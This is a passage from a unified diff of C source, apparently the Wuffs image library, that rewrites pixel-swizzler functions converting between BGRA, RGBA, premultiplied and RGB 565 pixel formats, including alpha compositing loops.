uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++wuffs_private_impl__swizzle_swap_rgbx_bgrx(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t len = (dst_len < src_len ? dst_len : src_len) / 4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + + size_t n = len; +- while (n >= 1) { +- uint64_t s0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); +- wuffs_base__poke_u64le__no_bounds_check(d + (0 * 8), s0); +- +- s += 1 * 4; +- d += 1 * 8; +- n -= 1; ++ while (n--) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ uint8_t s3 = s[3]; ++ d[0] = s2; ++ d[1] = s1; ++ d[2] = s0; ++ d[3] = s3; ++ s += 4; ++ d += 4; + } + return len; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_premul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- +- size_t n = len; +- while (n >= 1) { +- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); +- uint64_t s0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), wuffs_base__composite_nonpremul_premul_u64_axxx(d0, s0)); ++// -------- + +- s += 1 * 4; +- d += 1 * 8; +- n -= 1; ++static uint64_t // ++wuffs_private_impl__swizzle_copy_1_1(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t len = (dst_len < src_len) ? dst_len : src_len; ++ if (len > 0) { ++ memmove(dst_ptr, src_ptr, len); + } + return len; + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__index_bgra_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; ++wuffs_private_impl__swizzle_copy_2_2(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; ++ if (len > 0) { ++ memmove(dst_ptr, src_ptr, len * 2); + } +- size_t dst_len8 = dst_len / 8; +- size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; +- +- while (n >= 1) { +- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); +- uint64_t s0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4))); +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), +- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); ++ return len; ++} + +- s += 1 * 1; +- d += 1 * 8; +- n -= 1; ++static uint64_t // ++wuffs_private_impl__swizzle_copy_3_3(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len3 < src_len3) ? dst_len3 : src_len3; ++ if (len > 0) { ++ memmove(dst_ptr, src_ptr, len * 3); + } +- + return len; + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_nonpremul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; ++wuffs_private_impl__swizzle_copy_4_4(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; + size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- +- size_t n = len; +- while (n >= 1) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- uint8_t s3 = s[3]; +- d[0] = s2; +- d[1] = s2; +- d[2] = s1; +- d[3] = s1; +- d[4] = s0; +- d[5] = s0; +- d[6] = s3; +- d[7] = s3; +- +- s += 1 * 4; +- d += 1 * 8; +- n -= 1; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ if (len > 0) { ++ memmove(dst_ptr, src_ptr, len * 4); + } + return len; + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_copy_8_8(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len8 = dst_len / 8; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- +- size_t n = len; +- while (n >= 1) { +- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); +- uint64_t s0 = +- wuffs_base__color_u32__as__color_u64(wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), +- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); +- +- s += 1 * 4; +- d += 1 * 8; +- n -= 1; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len8 < src_len8) ? dst_len8 : src_len8; ++ if (len > 0) { ++ memmove(dst_ptr, src_ptr, len * 8); + } + return len; + } + ++// -------- ++ + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_premul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++wuffs_private_impl__swizzle_bgr_565__bgr(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len2 < src_len3) ? dst_len2 : src_len3; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; +- + size_t n = len; ++ ++ // TODO: unroll. ++ + while (n >= 1) { +- uint64_t s0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( +- wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); +- wuffs_base__poke_u64le__no_bounds_check(d + (0 * 8), s0); ++ uint32_t b5 = (uint32_t)(s[0] >> 3); ++ uint32_t g6 = (uint32_t)(s[1] >> 2); ++ uint32_t r5 = (uint32_t)(s[2] >> 3); ++ uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); + +- s += 1 * 4; +- d += 1 * 8; ++ s += 1 * 3; ++ d += 1 * 2; + n -= 1; + } ++ + return len; + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_premul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; ++wuffs_private_impl__swizzle_bgr_565__bgrx(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; + size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; +- + size_t n = len; ++ ++ // TODO: unroll. ++ + while (n >= 1) { +- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); +- uint64_t s0 = +- wuffs_base__color_u32__as__color_u64(wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), wuffs_base__composite_nonpremul_premul_u64_axxx(d0, s0)); ++ uint32_t b5 = (uint32_t)(s[0] >> 3); ++ uint32_t g6 = (uint32_t)(s[1] >> 2); ++ uint32_t r5 = (uint32_t)(s[2] >> 3); ++ uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); + + s += 1 * 4; +- d += 1 * 8; ++ d += 1 * 2; + n -= 1; + } ++ + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src( ++wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul__src( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++ size_t dst_len2 = dst_len / 2; + size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22217,13 +23221,14 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src( + // TODO: unroll. + + while (n >= 1) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), ++ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); + + s += 1 * 4; +- d += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22231,16 +23236,16 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src( ++wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul_4x16le__src( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++ size_t dst_len2 = dst_len / 2; + size_t src_len8 = src_len / 8; +- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ size_t len = (dst_len2 < src_len8) ? dst_len2 : src_len8; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22248,13 +23253,14 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src( + // TODO: unroll. + + while (n >= 1) { +- uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul(s0)); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), ++ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( ++ wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))))); + + s += 1 * 8; +- d += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22262,16 +23268,16 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src_over( ++wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++ size_t dst_len2 = dst_len / 2; + size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22279,13 +23285,38 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src_over( + // TODO: unroll. + + while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__composite_premul_nonpremul_u32_axxx(d0, s0)); ++ // Extract 16-bit color components. ++ uint32_t sa = 0x101 * ((uint32_t)s[3]); ++ uint32_t sr = 0x101 * ((uint32_t)s[2]); ++ uint32_t sg = 0x101 * ((uint32_t)s[1]); ++ uint32_t sb = 0x101 * ((uint32_t)s[0]); ++ ++ // Convert from 565 color to 16-bit color. ++ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); ++ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); ++ uint32_t dr = (0x8421 * old_r5) >> 4; ++ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); ++ uint32_t dg = (0x1041 * old_g6) >> 2; ++ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); ++ uint32_t db = (0x8421 * old_b5) >> 4; ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (nonpremul) over dst (premul). ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert from 16-bit color to 565 color and combine the components. ++ uint32_t new_r5 = 0x1F & (dr >> 11); ++ uint32_t new_g6 = 0x3F & (dg >> 10); ++ uint32_t new_b5 = 0x1F & (db >> 11); ++ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); + + s += 1 * 4; +- d += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22293,16 +23324,16 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src_over( ++wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul_4x16le__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++ size_t dst_len2 = dst_len / 2; + size_t src_len8 = src_len / 8; +- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ size_t len = (dst_len2 < src_len8) ? dst_len2 : src_len8; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22310,16 +23341,38 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src_over( + // TODO: unroll. + + while (n >= 1) { +- uint64_t d0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); +- uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u64__as__color_u32( +- wuffs_base__composite_premul_nonpremul_u64_axxx(d0, s0))); ++ // Extract 16-bit color components. ++ uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); ++ uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); ++ uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); ++ uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); ++ ++ // Convert from 565 color to 16-bit color. ++ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); ++ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); ++ uint32_t dr = (0x8421 * old_r5) >> 4; ++ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); ++ uint32_t dg = (0x1041 * old_g6) >> 2; ++ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); ++ uint32_t db = (0x8421 * old_b5) >> 4; ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (nonpremul) over dst (premul). ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert from 16-bit color to 565 color and combine the components. ++ uint32_t new_r5 = 0x1F & (dr >> 11); ++ uint32_t new_g6 = 0x3F & (dg >> 10); ++ uint32_t new_b5 = 0x1F & (db >> 11); ++ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); + + s += 1 * 8; +- d += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22327,16 +23380,15 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__bgra_premul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++wuffs_private_impl__swizzle_bgr_565__bgra_premul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; + size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22344,13 +23396,12 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_premul__src_over( + // TODO: unroll. + + while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__composite_premul_premul_u32_axxx(d0, s0)); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); + + s += 1 * 4; +- d += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22358,19 +23409,16 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_premul__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__index_bgra_nonpremul__src_over( ++wuffs_private_impl__swizzle_bgr_565__bgra_premul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } +- size_t dst_len4 = dst_len / 4; +- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22378,14 +23426,38 @@ wuffs_base__pixel_swizzler__bgra_premul__index_bgra_nonpremul__src_over( + // TODO: unroll. + + while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__composite_premul_nonpremul_u32_axxx(d0, s0)); ++ // Extract 16-bit color components. ++ uint32_t sa = 0x101 * ((uint32_t)s[3]); ++ uint32_t sr = 0x101 * ((uint32_t)s[2]); ++ uint32_t sg = 0x101 * ((uint32_t)s[1]); ++ uint32_t sb = 0x101 * ((uint32_t)s[0]); + +- s += 1 * 1; +- d += 1 * 4; ++ // Convert from 565 color to 16-bit color. ++ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); ++ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); ++ uint32_t dr = (0x8421 * old_r5) >> 4; ++ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); ++ uint32_t dg = (0x1041 * old_g6) >> 2; ++ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); ++ uint32_t db = (0x8421 * old_b5) >> 4; ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (premul) over dst (premul). ++ dr = sr + ((dr * ia) / 0xFFFF); ++ dg = sg + ((dg * ia) / 0xFFFF); ++ db = sb + ((db * ia) / 0xFFFF); ++ ++ // Convert from 16-bit color to 565 color and combine the components. ++ uint32_t new_r5 = 0x1F & (dr >> 11); ++ uint32_t new_g6 = 0x3F & (dg >> 10); ++ uint32_t new_b5 = 0x1F & (db >> 11); ++ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); ++ ++ s += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22393,16 +23465,15 @@ wuffs_base__pixel_swizzler__bgra_premul__index_bgra_nonpremul__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++wuffs_private_impl__swizzle_bgr_565__rgb(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len2 < src_len3) ? dst_len2 : src_len3; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22410,14 +23481,14 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src( + // TODO: unroll. + + while (n >= 1) { +- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); ++ uint32_t r5 = (uint32_t)(s[0] >> 3); ++ uint32_t g6 = (uint32_t)(s[1] >> 2); ++ uint32_t b5 = (uint32_t)(s[2] >> 3); ++ uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); + +- s += 1 * 4; +- d += 1 * 4; ++ s += 1 * 3; ++ d += 1 * 2; + n -= 1; + } + +@@ -22425,16 +23496,16 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src_over( ++wuffs_private_impl__swizzle_bgr_565__rgba_nonpremul__src( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++ size_t dst_len2 = dst_len / 2; + size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22442,14 +23513,15 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src_over( + // TODO: unroll. + + while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__composite_premul_nonpremul_u32_axxx(d0, s0)); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), ++ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( ++ wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))))); + + s += 1 * 4; +- d += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22457,16 +23529,16 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src( ++wuffs_private_impl__swizzle_bgr_565__rgba_nonpremul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22474,32 +23546,54 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src( + // TODO: unroll. + + while (n >= 1) { +- uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__swap_u32_argb_abgr( +- wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( +- s0))); +- +- s += 1 * 8; +- d += 1 * 4; +- n -= 1; ++ // Extract 16-bit color components. ++ uint32_t sa = 0x101 * ((uint32_t)s[3]); ++ uint32_t sb = 0x101 * ((uint32_t)s[2]); ++ uint32_t sg = 0x101 * ((uint32_t)s[1]); ++ uint32_t sr = 0x101 * ((uint32_t)s[0]); ++ ++ // Convert from 565 color to 16-bit color. ++ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); ++ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); ++ uint32_t dr = (0x8421 * old_r5) >> 4; ++ uint32_t old_g6 = 0x3F & 